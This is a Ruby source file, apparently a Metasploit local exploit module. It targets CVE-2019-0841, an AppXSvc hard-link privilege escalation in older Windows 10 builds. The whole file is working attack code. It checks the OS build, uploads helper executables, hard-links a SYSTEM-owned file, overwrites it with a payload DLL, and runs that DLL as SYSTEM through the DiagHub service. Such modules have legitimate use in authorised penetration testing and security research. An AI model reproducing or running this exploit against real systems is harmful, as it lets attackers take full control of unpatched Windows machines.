Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = NormalRanking  
  
include Exploit::EXE  
include Post::File  
include Post::Windows::Priv  
include Post::Windows::FileInfo  
include Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'AppXSvc Hard Link Privilege Escalation',  
'Description' => %q(  
There exists a privilege escalation vulnerability for  
Windows 10 builds prior to build 17763. Due to the AppXSvc's  
improper handling of hard links, a user can gain full  
privileges over a SYSTEM-owned file. The user can then utilize  
the new file to execute code as SYSTEM.  
  
This module employs a technique using the Diagnostics Hub Standard  
Collector Service (DiagHub) which was discovered by James Forshaw to  
load and execute a DLL as SYSTEM.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Nabeel Ahmed', # Vulnerability discovery and PoC  
'James Forshaw', # Code creating hard links and communicating with DiagHub service  
'Shelby Pace' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2019-0841' ],  
[ 'URL', 'https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/' ],  
[ 'URL', 'https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html' ],  
[ 'URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html' ],  
[ 'URL', 'https://0x00-0x00.github.io/research/2019/05/30/Coding-a-reliable-CVE-2019-0841-Bypass.html' ]  
],  
'Targets' =>  
[  
[ 'Windows 10', { 'Platform' => 'win' } ]  
],  
'DisclosureDate' => '2019-04-09',  
'DefaultTarget' => 0  
))  
end  
  
def check  
return CheckCode::Unknown if sysinfo['OS'] !~ /windows\s10/i  
  
path = expand_path('%WINDIR%\\system32\\win32k.sys')  
major, minor, build, revision, brand = file_version(path)  
return CheckCode::Appears if build < 17763  
  
CheckCode::Detected  
end  
  
def upload_file(file_name, file_path)  
contents = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-0841', file_name))  
write_file(file_path, contents)  
register_file_for_cleanup(file_path)  
rescue  
fail_with(Failure::UnexpectedReply, 'Failed to write file contents to target')  
end  
  
def init_process  
print_status("Attempting to launch Microsoft Edge minimized.")  
cmd_exec("cmd.exe /c start /min microsoft-edge:", nil, 30)  
end  
  
def mk_hard_link(src, target, link_exe)  
out = cmd_exec("cmd.exe /c #{link_exe} \"#{src}\" \"#{target}\"")  
  
return (out && out.include?('Done'))  
end  
  
def write_payload  
print_status('Writing the payload to disk')  
code = generate_payload_dll  
@original_data = read_file(@rtf_path)  
write_file(@rtf_path, code)  
end  
  
def exploit  
vuln_status = check  
fail_with(Failure::NotVulnerable, 'Failed to detect Windows 10') if vuln_status == CheckCode::Unknown  
  
fail_with(Failure::None, 'Already running with SYSTEM privileges') if is_system?  
cmd_exec("taskkill /F /IM MicrosoftEdge.exe /FI \"STATUS eq RUNNING\"")  
dat_path = expand_path("%USERPROFILE%\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Settings\\Settings.dat")  
fail_with(Failure::NotFound, 'Path does not exist') unless exist?(dat_path)  
  
if session.arch == ARCH_X86  
exe_name = 'CVE-2019-0841_x86.exe'  
f_name = 'diaghub_load_x86.exe'  
elsif session.arch == ARCH_X64  
exe_name = 'CVE-2019-0841_x64.exe'  
f_name = 'diaghub_load_x64.exe'  
end  
link_file_name = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(6...8)}.exe")  
upload_file(exe_name, link_file_name)  
  
@rtf_path = expand_path('%WINDIR%\\system32\\license.rtf')  
fail_with(Failure::UnexpectedReply, 'Did not retrieve expected output') unless mk_hard_link(dat_path, @rtf_path, link_file_name)  
print_good('Successfully created hard link')  
init_process  
cmd_exec("taskkill /F /IM MicrosoftEdge.exe")  
  
write_payload  
diaghub_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(8..12)}")  
upload_file(f_name, diaghub_path)  
cmd = "\"#{diaghub_path}\" \"license.rtf\""  
cmd_exec(cmd)  
end  
  
def cleanup  
folder_path = expand_path("%TEMP%\\etw")  
dir_rm(folder_path)  
  
write_file(@rtf_path, @original_data)  
super  
end  
end